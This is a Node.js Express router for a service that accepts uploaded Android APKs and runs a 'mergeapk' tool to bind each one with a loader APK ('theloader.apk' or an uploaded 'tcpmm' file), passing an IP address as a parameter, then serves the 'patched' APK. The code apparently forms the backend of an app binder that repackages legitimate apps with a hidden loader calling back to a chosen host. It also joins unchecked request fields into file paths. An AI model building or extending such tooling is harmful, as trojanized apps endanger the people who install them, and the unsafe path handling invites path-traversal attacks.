var express = require('express');
var sqlitehelper = require('./sqlitehelper');
var router = express.Router();
const multer = require('multer');
const child_process = require('child_process');
var path = require('path');
var fs = require('fs')
var crypto = require('crypto');

/* GET home page. */
router.get('/', function (req, res, next) {
  res.render('index.html', { title: 'Express' });
});

router.get('/a', function (req, res, next) {
  res.render('a', { title: 'Express' });
});

var upload = multer({dest:'apkdir/uploads/'}); // 文件储存路径
var dbhelper = new sqlitehelper('db/apks.db');
dbhelper.getPath('com.appbyme.app62497', '10003', '1.0.3', '', '');

function rmdirsSync(path) {
  var files = [];
  if (fs.existsSync(path)) {
    files = fs.readdirSync(path);
    files.forEach(function (file, index) {
      var curPath = path + "/" + file;
      if (fs.statSync(curPath).isDirectory()) { // recurse
        rmdirsSync(curPath);
      } else { // delete file
        fs.unlinkSync(curPath);
      }
    });
    fs.rmdirSync(path);
  }
}

function dobind(origapkpath, pkg, vercode, vername, ip = '', remark = '', mmapk = "") {
  console.log('dobind:' , arguments);
  let fname = path.basename(origapkpath);
  let mergedpath = 'downloads/' + fname + '.apk';
  fs.mkdirSync(fname);
  let cwd = process.cwd();
  let loaderapk = mmapk;
  if (loaderapk == ''){
    loaderapk = path.join(cwd, 'theloader.apk');
  }else{
    loaderapk = path.join(cwd, loaderapk);
  }

  origapkpath = path.join(cwd, origapkpath);
  let xmlpath = path.join(cwd, 'public.xml');
  let destapkpath = path.join(cwd, 'apkdir', mergedpath)
  //cmd = 'mergeapk -c' + fname + ' -i' + ip + ' -r' + remark + ' -x' + xmlpath +  ' ' + loaderapk + ' ' + origapkpath + ' ' + destapkpath;
  console.log('destapkpath:' + destapkpath);
  parm=['-c' + fname, '-x' + xmlpath, loaderapk, origapkpath, destapkpath]
  if(ip != ''){
    parm.push('-i'+ip)
  }
  if(remark != ''){
    parm.push('-r' + remark)
  }
  console.log('dobind:', parm)
  var workerProcess = child_process.spawn('mergeapk', parm);

  workerProcess.stdout.on('data', function (data) {
    //console.log('stdout: ' + data);
  });

  workerProcess.stderr.on('data', function (data) {
    //console.log('stderr: ' + data);
  });

  workerProcess.on('close', function (code) {
    console.log('子进程已退出，退出码 ' , code);
    if (code === 0) {
      dbhelper.insert(pkg, vercode, vername, ip, remark, mergedpath, origapkpath, '3.1.1', 0);
    } else {
      dbhelper.insert(pkg, vercode, vername, ip, remark, mergedpath, origapkpath, '3.1.1', -1);
    }
    rmdirsSync(fname);
  });
}


router.post('/upload', upload.single('file'), function (req, res, next) {
  let file = req.file;
  console.log(req.body);
  console.log(file);

  dbhelper.getPath(req.body.package, req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark, function (patchedapk, status) {
    if (patchedapk) {
      if(status == 0){
        console.log('skip bind and delete');
        fs.unlinkSync(file.path);
      }else{
        dbhelper.delete(req.body.package, req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark);
        dobind(file.path, req.body.package, req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark);
      }
    } else {
      dobind(file.path, req.body.package, req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark);
    }
  });

  res.json(
    {
      message: "ok",
      filename: file.filename
    }
  );
});

function getfilemd5(p){
  var buffer = fs.readFileSync(p);
  var fsHash = crypto.createHash('md5');
  fsHash.update(buffer);
  return fsHash.digest('hex');
}

router.post('/upload2', upload.single('file'), function (req, res, next) {
  let file = req.file;
  console.log('body:', req.body);
  console.log('file:' , file);
  let filename = ''
  if (req.body.type == 'tcpmm'){
    filename = getfilemd5(file.path)
    fs.renameSync(file.path, file.destination + filename)
  }else if(req.body.type == 'tcpmmapk'){
    filename = file.filename
    let mmpath = file.destination + req.body.mmname
    console.log('mmpath:' + mmpath)
    dbhelper.getPath(req.body.package, req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark, function (patchedapk, status) {
      if (patchedapk) {
        if(status == 0){
          console.log('skip bind and delete');
          fs.unlinkSync(file.path);
        }else{
          dbhelper.delete(req.body.package,req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark);
          dobind(file.path, req.body.package, req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark, mmpath);
        }
      } else {
        dobind(file.path, req.body.package, req.body.versionCode, req.body.versionName, req.body.ip, req.body.remark, mmpath);
      }
    });
  }

  res.json(
    {
      message: "ok",
      filename: filename
    }
  );
});

/*
pkgname
vercode
vername
ip
remark
*/
router.get('/getapk', function (req, res, next) {
  res.header("Cache-Control", "no-store");
  let pkgname = req.query.pkgname;
  let vercode = req.query.vercode;
  let vername = req.query.vername;
  let ip = req.query.ip;
  let remark = req.query.remark;

  dbhelper.getPath(pkgname, vercode, vername, ip, remark, function (patchedapk, status) {
    if (patchedapk) {
      console.log('getapk:' + patchedapk);
      res.json({
        code: status, //ok
        content: patchedapk
      });
    } else {
      res.json({
        code: 1, //wait
        content: 'wait'
      });
    }
  });
});

module.exports = router;
